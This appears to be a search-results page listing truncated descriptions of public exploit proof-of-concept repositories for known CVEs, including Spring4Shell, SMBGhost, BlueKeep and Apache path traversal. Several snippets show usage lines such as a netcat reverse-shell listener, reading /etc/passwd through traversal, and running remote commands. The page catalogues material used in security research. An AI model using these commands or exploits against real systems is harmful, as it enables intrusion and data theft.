118 matches found
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress プラグイン RCE 3.5.3 Wordpress用Social Warfareプラグイン バージョン3.5.3未満におけるリモートコード実行。このPoCは追加のHTTPサーバーを実行する必要はありません。ローカルIPと希望するポートを指定するだけで、エクスプロイトが独自のスレッドでサーバーを作成します。 使用方法 usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h, --help show this...
Exploits
漏洞利用（Exploits） 原创CVE、利用PoC和安全公告 作者：@kmkz · boffsec-services.com · @kmkzsecurity 2026年 文件| 目标| 类型| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| 公告（3-CVE链）| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli Sicuro24| PoC（mitmproxy）| 9.3...
CVE-2020-5902
CVE-2020-5902 BIG-IP CVE-2020-5902 漏洞利用 POC 及自动化扫描漏洞 用于利用 big-ip 漏洞并进行自动化扫描的简单程序 安装 gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...
CVE-2022-32250
CVE-2022-32250 这是我针对 CVE-2022-32250 编写的漏洞利用程序，完全基于 NCC Group 的博客 的研究。 测试环境：内核版本 5.13 成功率：约 70% 编译 编译需要 libmnl 和 libnftnl。 make all 免责声明 该概念验证（Proof-of-Concept）及漏洞分析文章仅供教育和研究目的使用。请自行承担使用风险。...
CVE-2025-55182
CVE-2025-55182 React2Shell PoC de Exploit ⚠️ ADVERTENCIA: Este proyecto utiliza intencionalmente software vulnerable solo con fines de investigación de seguridad. Créditos Todos los créditos del PoC son para @maple3142 Configuración y Ejecución Docker docker-compose up --build La aplicación estará...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 このリポジトリには、Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution の詳細な説明と動作する PoC が含まれています。 設定: Netcat リスナーを作成します。 nc -lnvp 1234 攻撃者の IP をあなたの IP とポートに変更します。 また、nc.exe が存在する同じディレクトリに HTTP ファイルサーバーを作成します。 python -m http.server 80 使用法:...
CVE-2022-RCE
CVE-2022-XXXX 逆スパムデータ配信 CVE購読 ツール 悪用 チュートリアル Exploit POC RCE LOG4j デシリアライゼーション JNDI Payload CVE-2022-20550 CVE-2022-20551 CVE-2022-20552 CVE-2022-20553 CVE-2022-20554 CVE-2022-20555 CVE-2022-20556 CVE-2022-20557 CVE-2022-20558 CVE-2022-20559 CVE-2022-20560 CVE-2022-20561 CVE-2022-20562...
CVE-2019-18818
CVE-2019-18818 Strapi = 3.0.0-beta 漏洞利用 PoC...
CVE-2020-7247-exploit
CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 远程代码执行 PoC 利用 参考: https://www.openwall.com/lists/oss-security/2020/01/28/3 用法 python3 exploit.py 依赖 pip3 install --user pwntools...
spring4shell-exploit-poc
Spring4Shell 漏洞利用概念验证 利用存在Spring4Shell漏洞的Spring应用程序。在我们的博客上了解更多关于Spring4Shell的信息。 使用方法 依赖项：Docker 和 docker-compose $ ./exploit.sh 存在漏洞的 Spring 应用程序 存在漏洞的 Spring 应用程序包含一个针对 /helloworld/greeting 的 GET 和 POST 请求处理程序。exploit.sh 脚本启动运行 Tomcat 9.0 的应用容器，应用程序打包为 WAR，并使用 curl 将 WebShell 写入...
CVE-2020-0796
CVE-2020-0796 可用的漏洞利用 PoC（CVE-2020-0796）— 反向绑定 Shell 已在 Python 2.7 上测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
pub
❤ 成为英雄，打赏一杯 🍺 🙂 ⟶ Ƀ : 1AZMeGVfCBbYwVYyG9s79pJDyocTZgiApa | Ξth : 0x438B38E30eF117C15fBfF833f9C2c70182925815 由 tintinweb 披露的漏洞利用 PoCs 与工具。 公开 police line - do not cross ==== police line - do not cross ==== police line - do not cross ==== ==== police line - do not cross ==== police line - do not...
ExploitPOC_MS15-014_CVE-2015-0009
此存储库没有 README。...
TKEY-remote-DoS-vulnerability-exploit
TKEY-remote-DoS-vulnerability-exploit 针对CVE-2015-5477 POC的漏洞利用代码...
CVE-2018-18893
CVE-2018-18893 un PoC de CVE-2018-18893 Reproducción： solo ejecútalo...
Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
Apache HTTP-Server 2.4.49-2.4.50 路径遍历与远程代码执行 描述 这是针对 CVE-2021-41773 和 CVE-2021-42013 的 PoC 脚本 用法： python3 exploit.py | 示例： 远程代码执行 python3 exploit.py 127.0.0.1 8080 rce 'id' 路径遍历 python3 exploit.py 127.0.0.1 8080 file '/etc/passwd'...
CVE-2022-1972-infoleak-PoC
CVE-2022-1972 信息泄露 PoC 针对 CVE-2022-1972 的信息泄露利用。 您可以在我们的博客上找到相关的分析文章。 环境要求 必须为非特权用户提供可用的用户命名空间。 $ sysctl kernel.unprivilegedusernsclone kernel.unprivilegedusernsclone = 1 构建 make...
CVE-2019-0708-EXP-Windows
CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...